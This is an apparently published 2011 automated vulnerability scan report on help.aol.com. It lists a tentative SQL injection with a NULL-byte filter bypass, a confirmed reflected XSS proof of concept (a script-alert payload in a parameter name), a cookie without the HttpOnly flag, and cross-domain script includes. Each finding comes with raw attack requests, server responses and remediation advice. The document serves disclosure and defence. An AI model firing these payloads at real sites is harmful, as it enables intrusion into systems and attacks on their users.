help.aol.com, SQL Injection, XSS, Cross Site Scripting, CWE-79, CWE-89

http://help.aol.com/help/microsites/search.do?af4cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef2b834d5194=1

Report generated by CloudScan Vulnerability Crawler at Tue Mar 08 07:09:47 CST 2011.


The DORK Report

Loading

1. SQL injection

2. Cross-site scripting (reflected)

3. Cookie without HttpOnly flag set

4. Cross-domain script include



1. SQL injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://help.aol.com
Path:   /help/microsites/search.do

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

GET /help/microsites/search.do?1%00'=1 HTTP/1.1
Host: help.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:07:08 GMT
Server: Apache
Set-Cookie: JSESSIONID=2FA6AB8E6E11AFBD5E8646015210750C.help-dtc39; Path=/help
Keep-Alive: timeout=15, max=80
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Set-Cookie: NSC_ofxifmq-b-opjq*80=ffffffffceb4d4b245525d5f4f58455e445a4a423660;expires=Tue, 08-Mar-2011 12:08:01 GMT;path=/;httponly
Content-Length: 31581


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


           <script type="text/jav
...[SNIP]...
97080&radios=False" onDragStart="fOnDragStart('search.do?cmd=displayKC&docType=kc&externalId=36101&sliceId=1&docTypeID=DT_AOLTROUBLESHOOTING_1_1&dialogID=525580393&stateId=0 0 109797080',' Message: Invalid or malformed Internet address ')" title=" Message: Invalid or malformed Internet address ">
...[SNIP]...

Request 2

GET /help/microsites/search.do?1%00''=1 HTTP/1.1
Host: help.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:07:10 GMT
Server: Apache
Set-Cookie: JSESSIONID=00A5629C7F821D8BDD44F30073D7D0DA.help-dtc31; Path=/help
Keep-Alive: timeout=15, max=80
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Set-Cookie: NSC_ofxifmq-b-opjq*80=ffffffffceb4d4b645525d5f4f58455e445a4a423660;expires=Tue, 08-Mar-2011 12:08:02 GMT;path=/;httponly
Content-Length: 31376


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


           <script type="text/jav
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://help.aol.com
Path:   /help/microsites/search.do

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af4cc"><script>alert(1)</script>f2b834d5194 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /help/microsites/search.do?af4cc"><script>alert(1)</script>f2b834d5194=1 HTTP/1.1
Host: help.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:07:05 GMT
Server: Apache
Set-Cookie: JSESSIONID=5EF09BF7CEB799C28CCFAE302E9E4BC1.help-mtc36; Path=/help
Keep-Alive: timeout=15, max=80
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Set-Cookie: NSC_ofxifmq-b-opjq*80=ffffffff4304ef7a45525d5f4f58455e445a4a423660;expires=Tue, 08-Mar-2011 12:07:57 GMT;path=/;httponly
Content-Length: 31386


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


           <script type="text/jav
...[SNIP]...
<TextArea name="af4cc"><script>alert(1)</script>f2b834d5194" style="display:none;visibility:hide">
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://help.aol.com
Path:   /help/microsites/search.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /help/microsites/search.do HTTP/1.1
Host: help.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:06:53 GMT
Server: Apache
Set-Cookie: JSESSIONID=223410D142EE2614886CC486D7AEE414.help-mtc30; Path=/help
Keep-Alive: timeout=15, max=80
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Set-Cookie: NSC_ofxifmq-b-opjq*80=ffffffff4304ef5045525d5f4f58455e445a4a423660;expires=Tue, 08-Mar-2011 12:07:45 GMT;path=/;httponly
Content-Length: 31283

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


           <script type="text/javascript"
...[SNIP]...

4. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://help.aol.com
Path:   /help/microsites/search.do

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /help/microsites/search.do HTTP/1.1
Host: help.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 12:06:53 GMT
Server: Apache
Set-Cookie: JSESSIONID=223410D142EE2614886CC486D7AEE414.help-mtc30; Path=/help
Keep-Alive: timeout=15, max=80
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Set-Cookie: NSC_ofxifmq-b-opjq*80=ffffffff4304ef5045525d5f4f58455e445a4a423660;expires=Tue, 08-Mar-2011 12:07:45 GMT;path=/;httponly
Content-Length: 31283

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


           <script type="text/javascript"
...[SNIP]...
<![endif]-->
   <script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/js/global.js"></script>
   
   <script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/js/jquery-1.4.2.min.js"></script>
   <script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/js/jquery-ui-1.8.1.custom.min.js"></script>    
   <script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/js/cookies.js"></script>
   <script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/js/jquery.cycle.all.min.js"></script>
   <script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/js/core.js"></script>
   <script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/js/siteworx.plugins.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://o.aolcdn.com/bill.aol.com/styles/footer_module_styles.css" />
   <script type="text/javascript" src="http://o.aolcdn.com/feedback/feedback1.js"></script>
   
   <script language="JavaScript1.1" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/jslib/standard.js" type="text/javascript"></script>
   <script language="JavaScript1.1" src="http://o.aolcdn.com/bill.aol.com/help/help_rev/jslib/searchBox2.js" type="text/javascript"></script>
...[SNIP]...
<div class="searchEntry" style="display:none;float:left;">
   <script src="http://o.aolcdn.com/bill.aol.com/help/help_rev/jslib/button.js" type="text/javascript"></script>
<script src="http://o.aolcdn.com/bill.aol.com/help/help_rev/jslib/common.js" type="text/javascript"></script>
<SCRIPT src="http://o.aolcdn.com/bill.aol.com/help/help_rev/jslib/CalendarPopup.js" type="text/javascript"></SCRIPT>
<SCRIPT src="http://o.aolcdn.com/bill.aol.com/help/help_rev/jslib/searchentry.js" type="text/javascript"></SCRIPT>
...[SNIP]...
</script>
<script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/js/header_module.js"></script>
...[SNIP]...
<!-- Footer HTML -->
           

<script type="text/javascript" src="http://o.aolcdn.com/bill.aol.com/js/footer_module.js"></script>
...[SNIP]...

Report generated by XSS.CX Research Blog at Tue Mar 08 07:09:47 CST 2011.